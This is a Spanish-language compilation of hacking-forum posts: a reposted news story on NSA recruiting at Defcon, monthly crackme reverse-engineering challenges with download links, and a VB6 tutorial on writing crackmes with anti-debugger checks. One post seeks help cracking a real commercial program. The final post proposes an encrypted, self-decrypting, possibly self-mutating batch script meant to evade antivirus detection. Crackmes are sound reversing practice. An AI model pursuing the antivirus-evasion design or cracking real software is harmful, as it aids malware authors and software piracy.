La Agencia está especialmente interesada en atraer a personas como las que se reunieron en una sala de conferencias a sólo 20 metros de distancia de la presentación de Alexander, encorvados sobre sus laptops y sus cajas de comida para llevar. Son competidores en la batalla de Capturar la bandera de Defcon, una especie de Juegos Olímpicos para geeks.

Por lo general hackear es un deporte sin glamur, sin embargo, en Defcon puede tener alguna relevancia Capturar la bandera, un certamen famoso entre el círculo de nerds. En una sala oscura en donde hay música rock y luces láser de colores, 20 equipos de competición luchan durante 48 horas por ingresar en los servidores del contrario y robarles información clave, llamada "banderas", a la par de contener los atacantes rivales. El ganador será anunciado este domingo por la tarde noche durante las ceremonias de clausura de la DefCon.

Codificadores de todo el mundo luchan a través de una serie de rondas de clasificación para llegar a Captura la bandera. "Los hackers que están aquí son los mejores del mundo", murmuró un observador en voz baja, mirando a los equipos febrilmente actuar sobre sus computadoras unas cuantas horas después de que inició la competición la mañana del viernes.

A la Agencia le encantaría aprender más acerca de las hazañas que utilizan los hackers en Capturar la bandera. Pero, ¿los hackers quieren jugar en conjunto?

La reacción del público a la charla de Alexander fue en general favorable. Los organizadores tuvieron que dejar fuera de la sala de conferencias a cientos de asistentes que querían entrar, y los que pudieron hacerlo escucharon con atención el discurso del general.

Uno de los asistentes, casi hasta adelante de la sala —un investigador de seguridad empresarial que está especializado en defensa en contra del espionaje digital—, dijo haber quedado impresionado. Y lo que es más importante, desde el punto de vista de la ANS, es que él dice que considerará  echarle un vistazo a las opciones de trabajo que brinda la agencia.

"Creo que sería emocionante", dijo el investigador, quien pidió permanecer en el anonimato. "Quiero decir, ése es el propósito. Nosotros intentamos proteger nuestro IP de la empresa. Ellos intentan proteger al país y a la gente. Sería algo formidable, a pesar de que la paga es nada".

Por supuesto, no todos fueron conquistados tan fácilmente. Unas cuantas filas más atrás, un grupo de cínicos arremetía contra la charla de Alexander.

"Chicos, a veces ustedes tienen una mala reputación", dijo Alexander en cierta parte de la charla. "Desde mi perspectiva, lo que está haciendo para resolver las vulnerabilidades de nuestros sistemas es absolutamente necesario".

"¡Entonces deja de arrestarnos!", replicó una persona interrumpiendo al orador.

http://anonymousnews.blogs.ru/2012/07/29/el-gobierno-de-estados-unidos-ofrece-trabajo-a-elite-de-hackers/

Hackers, News, Politica
jul 29, 2012
AnonymousWWN

Saludos Flamer  la noticia es vieja pero seria bueno comentarla si hay un hacker de Elite aqui

Reglas

1-No Comentar En Este Hilo Si No Es Un Reto Mensual.

2-De Los Retos Mensuales Mandar La Contraseña por Privado De Dicho Crackme o Tutotial al Creador Del Reto.

3-Los Tutorial y Keygenes Debera Tener Link Activo, El Cual Sera Revelado El Dia Ultimo Del Mes En El Hilo Mensual.

4-Las Contraseñas Enviadas Por Privado No Seran Reveladas Solo Serviran Para Crear Lista De Ganadores En Dicho Hilo.

5-Para Los Keygenme Deberan Buscar La Contraseara su nick o Para "elhacker.net" o "elhackernet" La Cual No Sera Revelada.

6-IMPORTANTE: No Vale Revelar Ninguna Clase de Respuestas Cuendo Este el Mes o el Reto En Proceso Estoba Para Cualquier Reto Unpacker, Crackme, Keygenme o X Proteccion

Bueno de momento yo are los retos mensuales cada primero de cada mes publicare crackmes para que todos aprendamos un poco.

si alguien desea ayudar con algun mes solo contactame ami o al moderador para ponernos deacuerdo del mes que ayudara

Enlaces a los retos mensuales:

Reto Septiembre 2012 de reversing
Reto Octubre 2012 de reversing
Reto Noviembre 2012 de reversing
Reto Enero 2013 de reversing
Reto de mayo de 2013
Reto de junio de 2013

saludos Flamer

...

Retos Septiembre 2012 Mes De Crackers

Hola amigos asi como dise el hilo mes de reversear un poco, a un que yo queria empesarlo el dia primero de cada mes  pero mientras seme ocurria y le pedia permiso al moderador, haremos una excepción bueno.

Cada mes pondre crackmes asi que el que quiera participar que partisipe abra del nivel 1, 2 y 3 para empezar y si quieren aumentar la dificultad la aumentamos o pedirme packers

Reglas:

1-No es obligado hacer tutoriales pero si lo quieren hacer aganlos para que aprendan los nuevos

2-Describir brevemente como logro crackearlo y mostrar la clave si es crackme o la clave para su nick si es keygenme

Para el primer mes que es este hay crackmes del nivel 1 y 2

cyclone
http://www.mediafire.com/?6ucbk6rbz6aeep1

FuelVM-Keygenme
http://www.mediafire.com/?ozpbmlp8g3o2z1m

MusicalCrackme
http://www.mediafire.com/?pl9mngk2co5rr8v

SerialMe
http://www.mediafire.com/?1b778y7i81inp6b

Simple_KGM_2
http://www.mediafire.com/?7po55bp57zfltop

los resultados como claves y seriales que se muestren aqui en este hilo como tambien las dudas y preguntas.

Bueno hay estan y que se diviertan

Saludos Flamer

Hola amigos este es mi septimo crackme por pedido de jeudi y esta hecho en vb6 y en si el reto esta fasil

www.mediafire.com/?ljm5q25repy06mh


Reglas:
1-no esta comprimido
2-solo parchar para el antidebugger y el boton, No para el serial
3-Creare lista y solo estaran los que meden un serial diferente o Creen un keygen o Creen el tutorial

********************
*  Lista De Ganadores  *
********************
*    1-Tinkipinki            *
*    2-Tincopasan         *
*    3-Jeudi                  *
*    4-Apuromafo         *
*    5-FaQuiVer            *
********************
         

saludos flamer y que se diviertan

...

Hola amigos pues aqui esta mi nuevo crackme el sexto ya

como los demas esta hecho en vb y no esta comprimido y trae dos retos uno fasil y otro difisil para que los nobatos y avanzados no queden afuera y partisipen

Link

http://www.mediafire.com/?z66utv48iv1xb5b


Reglas:
1-para nobatos vale parchar
2-para avanzados como Fly, Nox,apuromafo y otros que seme escapen por hay no vale parchar, solo encontrar contraseña y crear keygen para los dos retos

den gracias a tinkipinki por el pedido del crackme y a tincopasa por el codigo que me paso de la musica y como lograr un formulario asi


Lista De Logros
-----------------------------------------------------------------------------
|  Lugar|  Usuario        |                 Logro                                    |
-----------------------------------------------------------------------------
|  1       |   Thunder     | Keygen Reto1 y Serial Reto2 Mas bug      |
-----------------------------------------------------------------------------
|  2       |      Fly          |           Keygen Reto 2                             |
-----------------------------------------------------------------------------
|  3       |  apuromafo  |    Keygen   Reto1 y Reto2                       |
-----------------------------------------------------------------------------
|  4       |  yako-_-      |   Serial Reto1 y parche Reto2                  |
-----------------------------------------------------------------------------
|  5       |  jEUDi17      |   Serial Reto1 y parche Reto2                  |
-----------------------------------------------------------------------------
|  6       |   Tinkipinki   |      Parche  Reto1 y Reto2                       |
-----------------------------------------------------------------------------


saludos Flamer y gracias Por Su Partisipacion y Mis Respetos Crackers


....

Hola amigos pues como dise el tema estoy intentando crackear un programa pues alguien me comento una ves que si queria abansar en este mundo de la ingeneria inverza tenia que meterme a lo lleno a los softwares y estoy intentando reversear uno el cual no boy a subir ni mensionare el nombre por que no quiero que me lo crackeen por mi en fin.

el problema esta que este programa no me deja escribir en el cuadro de texto donde se pone el nombre y el serial.

primero tenian la propiedad False con la api EnableWindow pero eso ya lo resolvi.

queria saber si hay alguna api que no te deja escribir en los cuadros de textos o si tienen una idea de por que no me dejara escribir

saludos Flamer

Tutorial Creación de Crackmes En VB6

Bueno ya que en el foro no e visto algún tutoríal de cómo hacer crackmes o si hay no lo he visto y es que son escasos aquí les enseñare mi nobles y pocos conocimientos de cómo crear nuestros crackmes en visual Basic 6 para que a si a ver si se animan mas a crear crackmes para el foro.

Descripción de crackme = Es un simple programa que simula una protección que al romperla te mostrara el mensaje de felicitaciones o cualquier mensaje que allá puesto el creador.

Nota: ustedes pueden crear sus propios mensajes o felicitaciones

Definición de Keygenme= A diferencia del crackme que
solo pide una contraseña el keygenme pide una contraseña para cada usuario la cual es diferente para cada usuario, o sea cada usuario tiene su propia

contraseña ejemplo:

Usuario=flamer              contraseña=4579625
Usuario=$Edu$             contraseña=4789728   
Usuario=pitoloco           contraseña=4958369
Usuario=Under              contraseña=4658936    

Nota: Empezaremos con los crackme primero (uno sencillo y luego uno mas
complicadito) y después los keygenme (uno sencillo y luego uno mas
complicadito)

Bueno ya basta de blablabla pasemos a crear nuestro crackme

Para ello necesitamos el visual Basic 6 y conocimientos de programación y
mucha imaginación.

Bueno en pesemos abrimos el vb6
Elegimos un nuevo proyecto EXE estándar y le damos clic en abrir

Agregamos un Label, un TextBox y un CommandButton
En la barra de propiedades al Label1 en la propiedad caption le escribiremos
Contraseña:
En la barra de propiedades del form1 en la propiedad Caption le escribiremos
"Mi Primer Crackme"

En la de propiedades del CommandButton en la propiedad Caption le
escribiremos "Verificar"  y en la Propiedad nombre borramos command1 y le
ponemos cmd_Verificar
Y en el TextBox  en la propiedad text borramo lo que tenga y en la propiedad
nombre le ponemos txt_Serial
Ya que tenemos nuestro formulario hecho pasamos a crear nuestro primer
código que será simple:

Código [Seleccionar] Expandir


Private Sub cmd_Verificar_Click()
If txt_Serial = "123456" Then   
   MsgBox "Felisidades lo has logrado", vbExclamation, "Correcto" 
Else
   MsgBox "Muy mal no lo lograstes", vbCritical, "Error" 
End If 
End Sub


¿Qué ase? cuando se presiona el botón verificar  preguntara si txt_serial que
es el cuadro de texto es igual a 123456 si es verdadero mostrara el cartelito
de correcto y si no marcara error

Bueno como dije es simple ahora pasaremos a uno mas complicado:

Nota1: solo cambiaremos el código, el formulario será el mismo
Nota2: lo codeare lo mas fácil posible para que sea entendible

Código [Seleccionar] Expandir


Option Explicit
Dim contador, numer, x As Integer

Declaramos las variables contador, numer y x como enteros

Código [Seleccionar] Expandir


Dim letra As String 

Declaramos letra como string

Código [Seleccionar] Expandir


Private Sub cmd_Verificar_Click()
contador = 0

inicializa la variable contador en cero

Código [Seleccionar] Expandir


If Len(txt_Serial) = 6 Then

Pregunta si el largo de la cadena es igual a 6 si es a si entra sino te muestra el mensaje de error

Código [Seleccionar] Expandir

 
For x = 1 To 6
 
Entra en un for donde x es inicializada en 1 y terminara cuando su valor sea 6

Código [Seleccionar] Expandir

 
letra = Mid(txt_Serial, x, 1)
   
letra toma el primer carácter de txt_serial si x es igual a 1 si x igual a 2 toma el segundo y a si sucesivamente

Código [Seleccionar] Expandir

 
numer = Asc(letra) – 3
 
numer sera igual al valor ASCII de letra menos 3

Código [Seleccionar] Expandir

 
letra = Chr(numer) 

aqui numer es convertido a carácter

Código [Seleccionar] Expandir


Select Case (letra) 
   Case "Q", "W", "E", "R", "T", "Y":
      contador = contador + 1
   Case Else
      Exit For
   End Select
Next x

Aqui preguntara si letra es igual a alguna de estas letras "Q", "W", "E", "R", "T", "Y" si es a si a contador  se le ira sumando 1 si no sale del ciclo

Código [Seleccionar] Expandir


If contador = 6 Then
   MsgBox "Felisidades lo has logrado", vbExclamation, "Correcto"
Else
   MsgBox "Muy mal no lo lograstes", vbCritical, "Error"
End If

Aquí pregunta si contador es igual a 6, si es verdadero te mostrara el cartelito de felicitaciones si no dara error

Código [Seleccionar] Expandir


Else
      MsgBox "Muy mal no lo lograstes", vbCritical, "Error"
End If
End Sub


Bueno reverseando  el código la contraseña será "TZHUW\"

codigo completo:

Código [Seleccionar] Expandir


Option Explicit
Dim contador, numer, x As Integer
Dim letra As String 
Private Sub cmd_Verificar_Click()
contador = 0
If Len(txt_Serial) = 6 Then
For x = 1 To 6
    letra = Mid(txt_Serial, x, 1)
    numer = Asc(letra) – 3
    letra = Chr(numer) 
      Select Case (letra) 
         Case "Q", "W", "E", "R", "T", "Y":
            contador = contador + 1
         Case Else
            Exit For
      End Select
   Next x
   If contador = 6 Then
      MsgBox "Felisidades lo has logrado", vbExclamation, "Correcto"
   Else
      MsgBox "Muy mal no lo lograstes", vbCritical, "Error"
   End If
Else
      MsgBox "Muy mal no lo lograstes", vbCritical, "Error"
End If
End Sub


Ahora pasemos a crear un keygenme al cuadro de texto le
pondremos txt_Nombre al segundo txt_Serial y al botón cmd_Verificar y al
form el nombre queda igual solo le cambiaremos el caption será "Mi Primer
KeygenMe" 

El primer código será sencillo y el segundo un poco mas complicado y con
una protección antidebuger bueno seguimos:

Código [Seleccionar] Expandir


Option Explicit
Dim num, x As Integer 
Dim Serial, letra As String

Declara  las variables num, x a enteros y serial y letra a string

Código [Seleccionar] Expandir


Private Sub cmd_Verificar_Click()
Serial = ""   

Serial es inicializado en vasio

Código [Seleccionar] Expandir


For x = 1 To Len(txt_Nombre)

Aquí entra en un for donde x inicia desde 1 y terminara hasta que su valor sea igual a el largo de la cadena

Código [Seleccionar] Expandir

 
letra = Mid(txt_Nombre, x, 1) 

   letra toma el primer carácter de txt_serial si x es igual a 1 si x igual a 2 toma el segundo y a si sucesivamente

Código [Seleccionar] Expandir

 
num = Asc(letra) – 1

numer sera igual al valor ASCII de letra menos 1

Código [Seleccionar] Expandir

 
letra = Chr(num)

aqui numer es convertido a carácter

Código [Seleccionar] Expandir

 
Serial = Serial & letra

Concatena la variable serial con letra

Código [Seleccionar] Expandir


Next x
If txt_Serial = Serial Then
   MsgBox "Felisidades lo has logrado", vbExclamation, "Correcto"
Else
   MsgBox "Muy mal no lo lograstes", vbCritical, "Error"
End If
End Sub


Pregunta si txt_serial es igual a la variable serial si es correcto te muestra el
mensaje de felicitaciones si no te marca error

codigo completo:

Código [Seleccionar] Expandir


Option Explicit
Dim num, x As Integer 
Dim Serial, letra As String
Private Sub cmd_Verificar_Click()
Serial = ""   
For x = 1 To Len(txt_Nombre)
letra = Mid(txt_Nombre, x, 1) 
num = Asc(letra) – 1
letra = Chr(num)
Serial = Serial & letra
Next x
If txt_Serial = Serial Then
   MsgBox "Felisidades lo has logrado", vbExclamation, "Correcto"
Else
   MsgBox "Muy mal no lo lograstes", vbCritical, "Error"
End If
End Sub


Bueno ya casi llegamos al final en el siguiente ejemplo lo haremos mas
complicado será un keygenme con un solo cuadro de texto y una protección
antidebuger
El cuadro de texto se llamara txt_serial y el botón cmd_Verificar

A continuación el código:

Código [Seleccionar] Expandir


Option Explicit
Private Declare Function IsDebuggerPresent Lib "kernel32" () As Long
Dim contador, par, x, salir As Integer
Dim letra1, letra2 As String

Declara la api IsDebuggerPresent y las variables contador, par, x, y salir como
enteros y letra1, letra2 como string

Código [Seleccionar] Expandir


Private Sub Form_Load()
salir = 0

se inicializa la variable salir en cero

Código [Seleccionar] Expandir


If IsDebuggerPresent Then 
   salir = 1
End If
End Sub

Pregunta si hay algun debugger si es a si entra y se leda el valor de 1 a salir

Código [Seleccionar] Expandir


Private Sub cmd_Verificar_Click()
contador = 0

se inicializa la variable contador en cero

Código [Seleccionar] Expandir


If salir = 1 Then   
   salir = 1E+100 

pregunta si salir es igual a 1 entra y séle da un valor grande para que marque error

Código [Seleccionar] Expandir


Else
   par = Len(txt_Serial) Mod 2

es dividido el largo de txt_serial en 2 y par obtiene el residuo si es 1 o 0

Código [Seleccionar] Expandir

 
If par = 0 Then

Pregunta si par es igual acero

Código [Seleccionar] Expandir

     
For x = 1 To Len(txt_Serial) / 2
   
x es inicializada en 1 y terminara cuando x sea igual a la mitad de lo largo de
txt_serial

Código [Seleccionar] Expandir

 
letra1 = Mid(txt_Serial, x, 1)
     
letra1 toma el primer carácter de txt_serial si x es igual a 1 si x igual a 2 toma el segundo y a si sucesivamente

Código [Seleccionar] Expandir

 
letra2 = Mid(txt_Serial, Len(txt_Serial) - x + 1, 1)

letra2 toma el ultimo valor de txt_serial si x es igual a 1, si es igual a 2 toma el penúltimo y a si sucesivamente

Código [Seleccionar] Expandir


If letra1 = letra2 Then
   contador = contador + 2
End If

Pregunta si letra1 es igual a letra2 si es a si a contador sele suma 2

Código [Seleccionar] Expandir

 
Next x
End If
End If

If contador = Len(txt_Serial) Then
   MsgBox "Felisidades lo has logrado", vbExclamation, "Correcto" 
Else
   MsgBox "Muy mal no lo lograstes", vbCritical, "Error"
End If
End Sub


Pregunta si contador es igual ala longitud de txt_serial si es a si te muestra el cartelito de felicidades si no te marca error

codigo completo:

Código [Seleccionar] Expandir


Option Explicit
Private Declare Function IsDebuggerPresent Lib "kernel32" () As Long
Dim contador, par, x, salir As Integer
Dim letra1, letra2 As String
Private Sub Form_Load()
salir = 0
If IsDebuggerPresent Then 
   salir = 1
End If
End Sub
Private Sub cmd_Verificar_Click()
contador = 0
If salir = 1 Then   
   salir = 1E+100 
Else
   par = Len(txt_Serial) Mod 2
If par = 0 Then
For x = 1 To Len(txt_Serial) / 2
       letra1 = Mid(txt_Serial, x, 1)
       letra2 = Mid(txt_Serial, Len(txt_Serial) - x + 1, 1)
        If letra1 = letra2 Then
            contador = contador + 2
         End If
    Next x
  End If
End If

If contador = Len(txt_Serial) Then
   MsgBox "Felisidades lo has logrado", vbExclamation, "Correcto" 
Else
   MsgBox "Muy mal no lo lograstes", vbCritical, "Error"
End If
End Sub



Bueno terminamos eso es todo por hoy 

Solo les es puse  4 codigos para que seden una idea de cómo se hacen los
crackmes y se animen

Nota: los códigos expuestos son fáciles de revertir, hacer el keygen no es  tan complicado conociendo el código y los hice lo mas entendible posible y
declarando muchas variables para que los entendieran ya que se puede usar con menos variables

Nota: si quieren hacer mas difícil el crackme o keygenme solo necesitan un

poco de imaginación asiendo mas operaciones, para hacer mas largo el código
y podrían agregarle un xor a sus operaciones

Bueno aquí los dejo denle gracias a Tinkipinki y tincopasan que fueron los que pidieron el tutorial yo no tenia pensado postearlo por que se me asía que anadien le iba a gustar ya que le quite las imágenes pero si a alguien le sirve que bueno

Saludos Flamer

Hola me acabo de bajar el juego plantas vs zombies haber si mi maquina lo podía, ya que el juego necesita 512 de ram para poderlo jugar y yo solo tengo 256 ram
pero al abrirlo se queda trabada cargando el juego(donde se desenrolla la bolita) y la reinicio luego del reinicio me sale un mensaje el sistema se a recuperado de un error grave le doy aceptar y abro el juego y funciona bien.

quería saber si ustedes saben si es posible jugarlo con 256 de ram y sin que sufra daño la pc y sin que setrabe cargando el juego

Nota: le acabo de dar mas memoria virtual a la ram con el disco duro y párese que es la misma

es xp profesional SP2 y 2.00 GHz celerum

Saludos Flamer

hola a todos como estaba aburrido pensé haber si no séme quema mucho la cabeza si se podría leer solo un batch con la finalidad de que el bat estuviera cifrado y al leerse solo se ejecutara línea por línea y así irse ejecutando no tendríamos que crear otro archivo solo que leyera una  línea y la desencripte y la ejecute así sucesiva mente con el fin de que algún antivirus no lo detecte.
La única líneas que tendría que estar bien seria esta:

Código [Seleccionar] Expandir


for /F "tokens=*" %%a in (%0) do echo %%a


Pero aun no consigo leerme solo y tampoco encriptarlo
1-lo que necesito saber como leerme solo con %0 sin poner el nombre del archivo ya que este pudiera ser cambiado
2- remplazar caracteres de una línea  por otro carácter

Yace que batch llano es tan fuerte como antes con los nuevos SO de Windows pero serviría como un pasatiempo y haber si aprendemos algo

Y si vemos mas afondo podríamos crear un batch mutante que modifique su código

saludos Flamer